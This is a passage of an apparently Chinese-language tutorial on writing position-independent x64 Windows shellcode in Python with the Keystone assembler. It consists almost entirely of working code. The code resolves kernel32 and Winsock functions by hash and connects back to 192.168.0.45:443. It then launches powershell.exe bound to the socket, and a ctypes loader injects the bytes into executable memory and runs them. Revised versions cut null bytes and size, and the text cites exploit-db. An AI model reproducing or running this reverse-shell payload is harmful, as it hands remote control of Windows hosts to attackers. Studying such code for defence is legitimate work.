"   mov r13, 0x1010101010101010;"
"   sub rdx, r13;"


"   push rdx;"
"   mov rdx, 0x6568737265776f70;"
"   push rdx;"
"   mov rcx, rsp;"    # Application Name Argument as the 1st argument
"   push r12;"    # STDERROR
"   push r12;"    # STDOUTPUT
"   push r12;"    # STDINPUT
"   xor rdx, rdx;"
"   push dx;"    
"   push rdx;"
"   push rdx;"
#"   mov rdx, 0x100;"     
"   mov dx, 0x1110;"
"   sub dx, 0x1010;"


"   push dx;"  # dwFlags = 0x100  
"   xor rdx, rdx;"
"   push dx;"
"   push dx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
#"   mov rdx, 0x68;"
"   mov dl, 0x68;"


"   push rdx;"    # cb = 0x68
"   mov rdi, rsp;"
"   mov rdx, rsp;"    
#"  sub rdx, 0x500;"
"   sub dl, 0x68;"

"   push rdx;"    # ProcessInformation as the 10th argument
"   push rdi;"    # Pointer to STARTINFO as the 9th argument
"   xor rdx, rdx;"
"   push rdx;"    # lpCurrentDirectory as the 8th argument
"   push rdx;"    # lpEnvironment as the 7th argument
"   push rdx;"    # dwCreationFlags as the 6th argument
"   inc rdx;"
"   push rdx;"    # bInheritHandles as the 5th argument
"   xor rdx, rdx;"
"   push rdx;"    # Reverse space for 4th argument
"   push rdx;"    # Reverse space for 3th argument
"   push rdx;"    # Reverse space for 2th argument
"   push rdx;"    # Reverse space for 1th argument
"   mov rdx, rcx;"    # lpCommandLine
"   xor rcx, rcx;"
"   mov r8, rcx;"    # lpProcessAttributes
"   mov r9, rcx;"    # lpThreatAttributes
"   call rax;"   
)

# Initialize engine in X64-64bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)
sc = ""
print("Length of shellcode: "+str(len(encoding)))


for dec in encoding: 
  sc += "\\x{0:02x}".format(int(dec)).rstrip("\n")
  
print(sc)


PIC 代码

import ctypes, struct
from keystone import *

CODE = (
" start:"
"   int 3;"
" find_kernel32:"
"   xor rdx, rdx;"
"   mov rax, gs:[rdx + 0x60];"  # RAX = TEB->PEB
"   mov rsi, [rax + 0x18];"    # RSI = PEB->LDR 
"   mov rsi, [rsi + 0x20];"    # RSI = PEB->LDR.InMemoryOrderModuleList
" next_module:"
"   mov r9, [rsi + 0x20];"    # R9 = InMemoryOrderModuleList[x].DllBase
"   mov rdi, [rsi + 0x50];"    # RDI = InMemoryOrderModuleList[x].DllBaseName
"   mov rsi, [rsi];"    # RSI = InMemoryOrderModuleList[x].Flink
"   add rdi, 2;"    # Skip the 1st character of "KERNEL32.DLL"
" check_upper:"

"   mov r12, 0x1055105E10621055;"    # Elimate 0x00 1-1
"   mov rax, 0x1010101010101010;"    # Elimate 0x00 1-2
"   sub r12, rax;"    # Elimate 0x00 1-3
"   mov r13, 0x103e10421043105c;"    # Elimate 0x00 2-1
"   mov rax, 0x1010101010101010;"    # Elimate 0x00 2-2
"   sub r13, rax;"    # Elimate 0x00 2-3
"   mov rdx, qword ptr [rdi];"    # Move "ERNEL32.DLL" to RDX
"   cmp rdx, r12;"    # Compare the first 4 characters against "ENRE"
"   jne check_lower;"    # If no equal, the dll name could be lower case
"   mov rdx, qword ptr [rdi + 8];"    # If equal, move ".23L" to RDX
"   cmp rdx, r13;"    # Compare the next 4 characters ".23L"
"   jne next_module;"    # If not equal, move to next module
"   jmp jump_proxy;"
" check_lower:"
"   mov r12, 0x1075107E10821075;"    # Elimate 0x00 3-1
"   mov rax, 0x1010101010101010;"    # Elimate 0x00 3-2
"   sub r12, rax;"    # Elimate 0x00 3-3
"   mov r13, 0x103e10421043107c;"    # Elimate 0x00 4-1
"   mov rax, 0x1010101010101010;"    # Elimate 0x00 4-2
"   sub r13, rax;"    # Elimate 0x00 4-3
"   mov rdx, qword ptr [rdi];"    # Move "ernel32.dll" to RDX
"   cmp rdx, r12;"    # Compare the first 4 characters against "enre"
"   jne next_module;"    # If no equal, case sensitivity is not the cause, just move to the next module
"   mov rdx, qword ptr [rdi + 8];"    # If equal, move ".23l" to RDX 
"   cmp rdx, r13;"    # Compare the next 4 characters ".23l" 
"   jne next_module;"    # If not equal, move to next module

" jump_proxy:"
"   jmp jump_section;"


" parse_module:"
"   mov ecx, dword ptr [r9 + 0x3c];"    # R9 saves Dll Base address, fetch the offset to NT Header
"   xor r15, r15;"
"   mov r15b, 0x88;"
"   add r15, r9;"
"   add r15, rcx;"
"   mov r15d, dword ptr [r15];"
"   add r15, r9;"    # R15 saves the VMA of Export Directory
"   mov ecx, dword ptr [r15 + 0x18];"    # Number of function names
"   mov r14d, dword ptr [r15 + 0x20];"    # Fetch RVA of ENPT
"   add r14, r9;"    # R14 saves the VMA of ENPT
" search_function:"
"   jrcxz not_found;"    # If RCX = 0, the function is not found
"   dec ecx;"    # Index decreases by 1
"   xor rsi, rsi;"    # Zero out RSI
"   mov esi, [r14 + rcx*4];"    # RVA of current function name string
"   add rsi, r9;"    # RSI points to current function name
" function_hashing:"
"   xor rax, rax;"    # Clean RAX
"   xor rdx, rdx;"    # Clean RDX
"   cld;"    # Clear direction flag
" iteration:"
"   lodsb;"    # Copy next byte in RSI to Al
"   test al, al;"    # If reach to the end 
"   jz compare_hash;"    # Compare the function hash
"   ror edx, 0x0d;"    # Part of the hashing algorithm
"   add edx, eax;"    # Part of the hashing algorithm,
"   jmp iteration;"    # Move to next byte
" compare_hash:"
"   cmp edx, r8d;"
"   jnz search_function;"
"   mov r10d, [r15 + 0x24];"    # Ordinal Table RVA
"   add r10, r9;"    # Ordinal Table VMA
"   movzx ecx, word ptr [r10 + 2*rcx];"    # Function Ordinal Number
"   mov r11d, [r15 + 0x1c];"    # EAT RVA
"   add r11, r9;"    # EAT VMA
"   mov eax, [r11 + 4*rcx];"    # Function RVA
"   add rax, r9;"    # Function VMA
"   ret;"
" not_found:"
"   ret;"

" jump_section:"
"   mov rbp, r9;"    # RBP = Kernel32.dll Address
"   mov r8d, 0xec0e4e8e;"    # LoadLibraryA Hash
"      sub rsp, 0x30;"
"   call parse_module;"    # Search LoadLibraryA's address   
"   add rsp, 0x30;"
"   mov r12, rax;"    # R12 = LoadLibraryA Address
"   mov r8d, 0x7c0dfcaa;"    # GetProcAddress Hash
"   sub rsp, 0x30;"
"   call parse_module;"    # Search GetProcAddress' address
"   add rsp, 0x30;"
"   mov r13, rax;"    # R13 = GetProcAddress Address



" load_module:"
"   xor rax, rax;"
"   xor r13, r13;"
"   mov ax, 0xffff;"    #
"   mov r13w, 0x9393;"
"   sub rax, r13;"
"   push rax  ;"    # Push RAX onto the stack
"   mov rax, 0x642E32335F325357  ;"     # Move "WS2_32.D" into RAX
"   push rax  ;"    # Push RAX onto the stack
"   mov rcx, rsp;"      # RCX = Pointer to "ws2_32.dll\0"
"   sub rsp, 0x20;"     # Reverse space for x64 calling convention
"   mov rax, r12;"      # RAX = Address of LoadLibraryA
"   call rax;"          # LoadLibraryA("ws2_32.dll")
"   add rsp, 0x20;"     # Clean up reversed space
"   mov r14, rax;"      # Save the returned base address of ws2_32.dll

" call_wsastartup:"
"   mov r9, rax;"    # R9 = WS2_32.DLL
"   mov r8d, 0x3bfcedcb;"    # WSAStart Hash
"   mov rbx, r9;"    # Save ws2_32.dll base address in rbx for next use
"   call parse_module;"    # Search WSAStartup address
"   xor rcx, rcx;"
"   mov cx, 0x198;"    
"   sub rsp, rcx;"  
"   lea rdx, [rsp];"    # lpWSAData
"   xor rcx, rcx;"
"   xor r13, r13;"
"   mov cx, 0x1313;"
"   mov r13w, 0x1111;"
"   sub rcx, r13;"
"   sub rsp, 0x50;"
"   call rax;"    # Call WSAStartup
"   add rsp, 0x50;"    # Recover the stack


" call_wsasocket:"
"   mov r9, rbx;"    # R9 = WS2_32.DLL
"   mov r8d, 0xadf509d9;"    # WSASocketA Hash
"   call parse_module;"    # Search WSASocketA address
"   sub rsp, 0x50;"
"   xor rcx, rcx;"
"   inc rcx;"
"   inc rcx;"
"   xor rdx, rdx;"
"   inc rdx;"
"   xor r8, r8;"
"   mov r8b, 0xfffa;"
"   neg r8b;"
"   xor r9, r9;"    # 0
"   mov [rsp+0x20], r9;"   # 0
"   mov [rsp+0x28], r9;"    # 0
"   call rax;"
"   mov r12, rax;"    # Save socket to r12 for later use
"   add rsp, 0x50;"

" call_wsaconnect:"
"   mov r9, rbx;"    # R9 = WS2_32.DLL
"   mov r8d, 0xb32dba0c;"    # WSAConnect Hash
"   call parse_module;"    # Search WSAConnect address
"   xor r13, r13;"
"   xor r15, r15;"
"   mov r13w, 0xffff;"
"   mov r15w, 0xfdff;"
"   sub r13, r15;"
"   sub rsp, r13;"
"   mov rcx, r12;"    # Move socket to RCX as the 1st argument
"   xor rdx, rdx;"
"   inc rdx;"
"   inc rdx;"    
"   mov [rsp], rdx;"    # Store structure socketaddr
"   xor rdx, rdx;"
"   mov dx, 0xbb01;"
"   mov [rsp+2], rdx;"    # Add 2nd member of socketaddr
"   mov edx, 0x3d10b8d0;"
"   sub edx, 0x10101010;"
"   mov [rsp+4], rdx;"    # Add 3rd member of socketaddr
"   lea rdx, [rsp];"    # Pointer to socketaddr structure as the 2nd argument
"   xor r8, r8;"
"   mov r8w, 0x2610;"
"   sub r8w, 0x1010;"
"   xor r9, r9;"    # lpCallerData = NULL as the 4th argument
"   sub rsp, 0x50;"    # Reverse space for fastcall convention
"   mov [rsp+0x20], r9;"    # lpCalleeData = NULL as the 5th argument
"   mov [rsp+0x28], r9;"    # lpSQOS = NULL as the 6th argument
"   mov [rsp+0x30], r9;"    # lpGQOS = NULL as the 7th argument
"   call rax;"
"   add rsp, 0x50;"   # Release space

" call_createprocess:"
"   mov r9, rbp;"    # R9 = KERNEL32.DLL
"   mov r8d, 0x16b3fe72;"    # CreateProcessA Hash
"   call parse_module;"    # Search CreateProcessA address
"   mov rdx, 0x10107588753e7c7c;"
"   mov r13, 0x1010101010101010;"
"   sub rdx, r13;"
"   sub rsp,0x18;"
"   push rdx;"
"   mov rdx, 0x6568737265776f70;"
"   push rdx;"
"   mov rcx, rsp;"    # Application Name Argument as the 1st argument
"   push r12;"    # STDERROR
"   push r12;"    # STDOUTPUT
"   push r12;"    # STDINPUT
"   xor rdx, rdx;"
"   push dx;"    
"   push rdx;"
"   push rdx;"
"   mov dx, 0x1110;"
"   sub dx, 0x1010;"
"   push dx;"  # dwFlags = 0x100  
"   xor rdx, rdx;"
"   push dx;"
"   push dx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   mov dl, 0x68;"
"   push rdx;"    # cb = 0x68
"   mov rdi, rsp;"
"   mov rdx, rsp;"    
"   sub dl, 0x68;"
"   push rdx;"    # ProcessInformation as the 10th argument
"   push rdi;"    # Pointer to STARTINFO as the 9th argument
"   xor rdx, rdx;"
"   push rdx;"    # lpCurrentDirectory as the 8th argument
"   push rdx;"    # lpEnvironment as the 7th argument
"   push rdx;"    # dwCreationFlags as the 6th argument
"   inc rdx;"
"   push rdx;"    # bInheritHandles as the 5th argument
"   xor rdx, rdx;"
"   push rdx;"    # Reverse space for 4th argument
"   push rdx;"    # Reverse space for 3th argument
"   push rdx;"    # Reverse space for 2th argument
"   push rdx;"    # Reverse space for 1th argument
"   mov rdx, rcx;"    # lpCommandLine
"   xor rcx, rcx;"
"   mov r8, rcx;"    # lpProcessAttributes
"   mov r9, rcx;"    # lpThreatAttributes
"   call rax;"
)


# Initialize engine in X64-64bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))


减少字节数


改善寻找 Kernel32.dll 的方法


import ctypes, struct
from keystone import *

CODE = (
" locate_kernel32:"
"   xor rdx, rdx;"
"   mov rax, gs:[rdx + 0x60];"  # RAX = TEB->PEB
"   mov rsi, [rax + 0x18];"    # RSI = PEB->LDR 
"   mov rsi, [rsi + 0x20];"    # RSI = PEB->LDR.InMemoryOrderModuleList
"   mov r9, [rsi];"    # python.exe
"   mov r9, [r9];"    # ntdll.dll
"   mov r9, [r9+0x20];"    # kernel32.dll
"   jmp jump_section;"    # Achieve PIC

" parse_module:"
"   mov ecx, dword ptr [r9 + 0x3c];"    # R9 saves Dll Base address, fetch the offset to NT Header
"   xor r15, r15;"    # Fetch RVA of Export Directory
"   mov r15b, 0x88;"
"   add r15, r9;"
"   add r15, rcx;"
"   mov r15d, dword ptr [r15];"
"   add r15, r9;"    # R15 saves the VMA of Export Directory
"   mov ecx, dword ptr [r15 + 0x18];"    # Number of function names
"   mov r14d, dword ptr [r15 + 0x20];"    # Fetch RVA of ENPT
"   add r14, r9;"    # R14 saves the VMA of ENPT

" search_function:"
"   jrcxz not_found;"    # If RCX = 0, the function is not found
"   dec ecx;"    # Index decreases by 1
"   xor rsi, rsi;"    # Zero out RSI
"   mov esi, [r14 + rcx*4];"    # RVA of current function name string
"   add rsi, r9;"    # RSI points to current function name

" function_hashing:"
"   xor rax, rax;"    # Clean RAX
"   xor rdx, rdx;"    # Clean RDX
"   cld;"    # Clear direction flag

" iteration:"
"   lodsb;"    # Copy next byte in RSI to Al
"   test al, al;"    # If reach to the end 
"   jz compare_hash;"    # Compare the function hash
"   ror edx, 0x0d;"    # Part of the hashing algorithm
"   add edx, eax;"    # Part of the hashing algorithm,
"   jmp iteration;"    # Move to next byte

" compare_hash:"
"   cmp edx, r8d;"
"   jnz search_function;"
"   mov r10d, [r15 + 0x24];"    # Ordinal Table RVA
"   add r10, r9;"    # Ordinal Table VMA
"   movzx ecx, word ptr [r10 + 2*rcx];"    # Function Ordinal Number
"   mov r11d, [r15 + 0x1c];"    # EAT RVA
"   add r11, r9;"    # EAT VMA
"   mov eax, [r11 + 4*rcx];"    # Function RVA
"   add rax, r9;"    # Function VMA
"   ret;"
" not_found:"
"   ret;"

" jump_section:"
"   mov rbp, r9;"    # RBP = Kernel32.dll Address
"   mov r8d, 0xec0e4e8e;"    # LoadLibraryA Hash
"   sub rsp, 0x30;"
"   call parse_module;"    # Search LoadLibraryA's address   
"   add rsp, 0x30;"
"   mov r12, rax;"    # R12 = LoadLibraryA Address
"   mov r8d, 0x7c0dfcaa;"    # GetProcAddress Hash
"   sub rsp, 0x30;"
"   call parse_module;"    # Search GetProcAddress' address
"   add rsp, 0x30;"
"   mov r13, rax;"    # R13 = GetProcAddress Address

" load_module:"
"   xor rax, rax;"    # Move "ll" + 0x9393 into RAX
"   xor r13, r13;"
"   mov ax, 0xffff;"    # Recover "ll"
"   mov r13w, 0x9393;"
"   sub rax, r13;"
"   push rax  ;"    # Push RAX onto the stack
"   mov rax, 0x642E32335F325357  ;"     # Move "WS2_32.D" into RAX
"   push rax  ;"    # Push RAX onto the stack
"   mov rcx, rsp;"      # RCX = Pointer to "ws2_32.dll" s
"   sub rsp, 0x20;"     # Reverse space for x64 calling convention
"   mov rax, r12;"      # RAX = Address of LoadLibraryA
"   call rax;"          # LoadLibraryA("ws2_32.dll")
"   add rsp, 0x20;"     # Clean up reversed space
"   mov r14, rax;"      # Save the returned base address of ws2_32.dll

" call_wsastartup:"
"   mov r9, rax;"    # R9 = WS2_32.DLL
"   mov r8d, 0x3bfcedcb;"    # WSAStart Hash
"   mov rbx, r9;"    # Save ws2_32.dll base address in rbx for next use
"   call parse_module;"    # Search WSAStartup address
"   xor rcx, rcx;"
"   mov cx, 0x198;"    
"   sub rsp, rcx;"  
"   lea rdx, [rsp];"    # lpWSAData
"   xor rcx, rcx;"
"   xor r13, r13;"
"   mov cx, 0x1313;"    # wVersionRequired = 0x202 + 0x1010
"   mov r13w, 0x1111;"    # Recover 0x202
"   sub rcx, r13;"
"   sub rsp, 0x50;"
"   call rax;"    # Call WSAStartup
"   add rsp, 0x50;"    # Recover the stack

" call_wsasocket:"
"   mov r9, rbx;"    # R9 = WS2_32.DLL
"   mov r8d, 0xadf509d9;"    # WSASocketA Hash
"   call parse_module;"    # Search WSASocketA address
"   sub rsp, 0x50;"   
"   xor rcx, rcx;"    # AF_INIT =2 as the 1st argument
"   inc rcx;"
"   inc rcx;"
"   xor rdx, rdx;"
"   inc rdx;"   # SOCK_STREAM = 1 as the 2nd argument
"   xor r8, r8;"   
"   mov r8b, 0xfffa;"    # rb 8= -6
"   neg r8b;"    # IPPROTO_TCP = 6 as the 3rd argument
"   xor r9, r9;"    # lpProtocolInfo = 0 as the 4rd argument  
"   mov [rsp+0x20], r9;"   # g = 0 as the 5th argument
"   mov [rsp+0x28], r9;"    # dwFlags = 0 as the 6th argument
"   call rax;"    # Call WSASocketA
"   mov r12, rax;"    # Save socket to r12 for later use
"   add rsp, 0x50;"

" call_wsaconnect:"
"   mov r9, rbx;"    # R9 = WS2_32.DLL
"   mov r8d, 0xb32dba0c;"    # WSAConnect Hash
"   call parse_module;"    # Search WSAConnect address
"   xor r13, r13;"
"   xor r15, r15;"
"   mov r13w, 0xffff;"
"   mov r15w, 0xfdff;"
"   sub r13, r15;"
"   sub rsp, r13;"    # Reserve 0x200 bytes for SocketAddr (Overkill)
"   mov rcx, r12;"    # Move socket to RCX as the 1st argument
"   xor rdx, rdx;"    # sin_family = AF_INET = 2 as the 1st member in sockaddr structure
"   inc rdx;"
"   inc rdx;"    
"   mov [rsp], rdx;"    # Store structure socketaddr
"   xor rdx, rdx;"    # Port 443 01bb as the 2nd member in sockaddr structure
"   mov dx, 0xbb01;"
"   mov [rsp+2], rdx;"    # Add 2nd member of socketaddr
"   mov edx, 0x3d10b8d0;"    # IP = 192.168.0.45 + 0x10101010 as the 3rd member in sockaddr structure
"   sub edx, 0x10101010;"    # Recover IP address
"   mov [rsp+4], rdx;"    # Add 3rd member of socketaddr
"   lea rdx, [rsp];"    # Pointer to socketaddr structure as the 2nd argument
"   xor r8, r8;"
"   mov r8w, 0x1026;"    
"   sub r8w, 0x1010;"    # namelen = 16 bytes as the 3rd argument 
"   xor r9, r9;"    # lpCallerData = NULL as the 4th argument
"   sub rsp, 0x50;"    # Reserve space for fastcall convention
"   mov [rsp+0x20], r9;"    # lpCalleeData = NULL as the 5th argument
"   mov [rsp+0x28], r9;"    # lpSQOS = NULL as the 6th argument
"   mov [rsp+0x30], r9;"    # lpGQOS = NULL as the 7th argument
"   call rax;"    # Call WSAConnect
"   add rsp, 0x50;"   # Release space

" call_createprocess:"
"   mov r9, rbp;"    # R9 = KERNEL32.DLL
"   mov r8d, 0x16b3fe72;"    # CreateProcessA Hash
"   call parse_module;"    # Search CreateProcessA address
"   mov rdx, 0x10107588753e7c7c;"    # Push string "exe.ll" + 0x1010101010101010 
"   mov r13, 0x1010101010101010;"    # Recover "exe.ll"
"   sub rdx, r13;"    
"   sub rsp,0x18;"    # Align stack to meet 16 bytes alignment 
"   push rdx;"    # Push string "ll.exe" to stack
"   mov rdx, 0x6568737265776f70;"    # Push string "ehsrewop"
"   push rdx;"    # Push string "powershe" to stack
"   mov rcx, rsp;"    # Application Name Argument as the 1st argument
"   push r12;"    # STDERROR
"   push r12;"    # STDOUTPUT
"   push r12;"    # STDINPUT
"   xor rdx, rdx;"
"   push dx;"    
"   push rdx;"
"   push rdx;" 
"   mov dx, 0x1110;"    # 0x100 = 0x1110 - 0x1010
"   sub dx, 0x1010;"   
"   push dx;"    # dwFlags = 0x100  
"   xor rdx, rdx;"
"   push dx;"
"   push dx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   mov dl, 0x68;"
"   push rdx;"    # cb = 0x68 
"   mov rdi, rsp;"
"   mov rdx, rsp;"    
"   sub dl, 0x68;"
"   push rdx;"    # ProcessInformation as the 10th argument
"   push rdi;"    # Pointer to STARTINFO as the 9th argument
"   xor rdx, rdx;"
"   push rdx;"    # lpCurrentDirectory as the 8th argument
"   push rdx;"    # lpEnvironment as the 7th argument
"   push rdx;"    # dwCreationFlags as the 6th argument
"   inc rdx;"
"   push rdx;"    # bInheritHandles as the 5th argument
"   xor rdx, rdx;"
"   push rdx;"    # Reserve space for 4th argument on stack
"   push rdx;"    # Reserve space for 3th argument on stack
"   push rdx;"    # Reserve space for 2th argument on stack
"   push rdx;"    # Reserve space for 1th argument on stack
"   mov rdx, rcx;"    # lpCommandLine
"   xor rcx, rcx;"
"   mov r8, rcx;"    # lpProcessAttributes as the 3rd argument
"   mov r9, rcx;"    # lpThreatAttributes as the 4th argument
"   call rax;"
)

# Initialize engine in X64-64bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))




参考:

https://www.exploit-db.com/exploits/50291 

https://www.exploit-db.com/exploits/40890